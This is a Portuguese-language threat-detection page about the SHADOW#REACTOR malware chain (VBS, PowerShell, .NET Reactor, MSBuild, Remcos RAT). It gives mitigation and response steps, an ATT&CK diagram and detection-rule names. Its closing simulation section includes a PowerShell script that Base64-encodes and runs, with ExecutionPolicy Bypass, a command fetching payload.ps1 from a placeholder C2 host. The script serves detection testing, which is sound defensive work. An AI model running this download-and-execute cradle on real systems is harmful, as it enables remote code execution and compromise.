SHADOW#REACTOR – PALCO TEMPORÁRIO SOMENTE TEXTO, .NET REACTOR, E IMPLANTAÇÃO IN-MEMORY REMCOS RAT
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
SHADOW#REACTOR é uma cadeia de malware de múltiplos estágios para Windows que combina um lançador VBS ofuscado, um downloader baseado em PowerShell, artefatos de preparação apenas em texto, um carregador protegido pelo .NET Reactor e execução via MSBuild para, em última instância, implantar o trojan de acesso remoto Remcos (RAT).
Investigação
Pesquisadores reconstruíram o fluxo começando com um script VBS recuperado da infraestrutura do invasor, seguido por rotinas PowerShell que reconstroem e decodificam payloads de texto preparados. A cadeia procede com carregamento reflexivo, na memória, de um assembly .NET e uma transferência final para o MSBuild, que dispara a execução do Remcos RAT. O relatório documenta os componentes codificados em texto, a lógica de decriptação e os métodos de persistência usados para manter o acesso.
Mitigação
Aumente a cobertura de monitoramento para hosts e interpretadores de scripts, e impeça a execução de VBS/PowerShell a partir de caminhos graváveis pelo usuário sempre que possível. Adicione detecções para tráfego HTTP suspeito de saída para infraestrutura identificada, uso indevido de MSBuild e carregamento reflexivo de assembly .NET. Monitore padrões comuns de persistência, incluindo modificações de chave de execução e entradas de inicialização baseadas em atalhos.
Resposta
Se a atividade SHADOW#REACTOR for confirmada, isole o endpoint e elimine a cadeia completa de processos (wscript.exe → powershell.exe → msbuild.exe). Remova quaisquer arquivos de texto preparados e artefatos relacionados no registro, e remedeie deletando binários Remcos e blobs de configuração associados. Em seguida, realize uma análise forense completa para verificar qualquer comprometimento adicional e garantir a erradicação completa.
“graph TB %% Class Definitions Section classDef technique fill:#ffe699 classDef builtin fill:#cccccc classDef malware fill:#ff9999 %% Node definitions tech_user_execution[“<b>Tecnica</b> – <b>T1204.002 Execução do Usuário: Arquivo Malicioso</b><br/><b>Descrição</b>: A vítima executa um arquivo malicioso que lança código.”] class tech_user_execution technique tool_wscript[“<b>Ferramenta</b> – <b>Nome</b>: wscript.exe<br/><b>Descrição</b>: Hospedeiro de Scripts do Windows usado para executar arquivos VBScript.”] class tool_wscript builtin tech_vbscript_interp[“<b>Tecnica</b> – <b>T1059.005 Interpretador de Comandos e Scripts: Visual Basic</b><br/><b>Descrição</b>: Executa scripts em Visual Basic no sistema host.”] class tech_vbscript_interp technique tech_powershell_interp[“<b>Tecnica</b> – <b>T1059.001 Interpretador de Comandos e Scripts: PowerShell</b><br/><b>Descrição</b>: Executa comandos e scripts do PowerShell.”] class tech_powershell_interp technique tech_http_comm[“<b>Tecnica</b> – <b>T1071.001 Protocolo de Camada de Aplicação: Protocolos Web</b><br/><b>Descrição</b>: Utiliza HTTP/HTTPS para baixar fragmentos de payload de servidores remotos.”] class tech_http_comm technique tech_obfuscation[“<b>Tecnica</b> – <b>T1027 Arquivos Ofuscados ou Informações</b><br/><b>Descrição</b>: Payload é codificado com Base64, XOR e protegido pelo .NET Reactor.”] class tech_obfuscation technique tech_reflective_loading[“<b>Tecnica</b> – <b>T1620 Carregamento de Código Reflexivo</b> / <b>T1574.014 Sequestro de Fluxo de Execução: AppDomainManager</b><br/><b>Descrição</b>: Carrega um assembly .NET na memória via sequestro do AppDomainManager.”] class tech_reflective_loading technique tool_msbuild[“<b>Ferramenta</b> – <b>Nome</b>: MSBuild.exe<br/><b>Descrição</b>: Utilitário de desenvolvedor confiável abusado como um LOLBin para lançar o estágio final.”] class tool_msbuild builtin malware_remcos[“<b>Malware</b> – <b>Nome</b>: Remcos RAT<br/><b>Descrição</b>: Trojan de acesso remoto usado para comando e controle.”] class malware_remcos malware tech_shortcut_mod[“<b>Tecnica</b> – <b>T1547.009 Modificação de Atalho</b><br/><b>Descrição</b>: Cria um atalho LNK na pasta de Inicialização para alcançar persistência.”] class tech_shortcut_mod technique %% Connections showing attack flow tech_user_execution u002du002d>|executa via| tool_wscript tool_wscript u002du002d>|executa| tech_vbscript_interp tech_vbscript_interp u002du002d>|invoca| tech_powershell_interp tech_powershell_interp u002du002d>|baixa fragmentos via| tech_http_comm tech_http_comm u002du002d>|reconstrói payload| tech_obfuscation tech_obfuscation u002du002d>|carrega na memória via| tech_reflective_loading tech_reflective_loading u002du002d>|usa| tool_msbuild tool_msbuild u002du002d>|lança| malware_remcos malware_remcos u002du002d>|pode criar| tech_shortcut_mod “
Fluxo de Ataque
Detecções
LOLBAS WScript / CScript (via process_creation)
Visualizar
Strings de PowerShell Suspeitas (via powershell)
Visualizar
Binários/Scripts Suspeitos na Localização de Autostart (via file_event)
Visualizar
Arquivos Suspeitos no Perfil de Usuário Público (via file_event)
Visualizar
Execução Suspeita no Perfil de Usuário Público (via process_creation)
Visualizar
Chamar Métodos .NET Suspeitos do PowerShell (via powershell)
Visualizar
IOCs (HashSha256) para detectar: SHADOW#REACTOR – TEXT-ONLY STAGING, .NET REACTOR E DEPLOY IN-MEMORY REMCOS RAT
Visualizar
IOCs (SourceIP) para detectar: SHADOW#REACTOR – TEXT-ONLY STAGING, .NET REACTOR E DEPLOY IN-MEMORY REMCOS RAT
Visualizar
IOCs (DestinationIP) para detectar: SHADOW#REACTOR – TEXT-ONLY STAGING, .NET REACTOR E DEPLOY IN-MEMORY REMCOS RAT
Visualizar
Detecção da Cadeia de Infecção SHADOW#REACTOR [Criação de Processo Windows]
Visualizar
Detecção de Bypass de ExecutionPolicy e Comandos PowerShell Ofuscados [Windows PowerShell]
Visualizar
Execução de Simulação
Pré-requisito: A Checagem Preliminar de Telemetria & Baseline deve ter sido bem-sucedida.
Justificativa: Esta seção detalha a execução precisa da técnica de adversário (TTP) projetada para acionar a regra de detecção. Os comandos e narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção.
-
Narrativa de Ataque & Comandos:
Um invasor com direitos limitados de movimento lateral deseja executar um payload remoto em um host Windows comprometido enquanto evita defesas típicas de bloqueio de scripts. Eles usam o PowerShell com-Bypass de ExecutionPolicypara ignorar restrições de política de execução. O payload malicioso é ofuscado como uma string codificada em Base64 que, quando decodificada, cria umSystem.Net.WebClientobjeto para baixar um script PowerShell de um servidor C2 e invocá-lo. Esta combinação satisfaz todos os três critérios de detecção (Bypass de ExecutionPolicy,DeStringDeBase64,System.Net.WebClient). -
Script de Teste de Regressão:
#-------------------------------------------- # Execução simulada de PowerShell malicioso #-------------------------------------------- # 1. Criar um script remoto simples (somente para demonstração) $remoteScript = 'Invoke-Expression (New-Object System.Net.WebClient).DownloadString("http://{C2_HOST}/payload.ps1")' # 2. Codificar o script em Base64 $bytes = [System.Text.Encoding]::Unicode.GetBytes($remoteScript) $b64 = [Convert]::ToBase64String($bytes) # 3. Executar com Bypass de ExecutionPolicy e DeStringDeBase64 PowerShell -ExecutionPolicy Bypass -Command " $decoded = [System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('$b64')); Invoke-Expression $decoded " -
Comandos de Limpeza:
# Remover qualquer payload baixado e parar processos persistentes do PowerShell Get-Process -Name powershell | Where-Object {$_.StartInfo.Arguments -match 'ExecutionPolicy Bypass'} | Stop-Process -Force Remove-Item -Path "C:Temppayload.ps1" -ErrorAction SilentlyContinue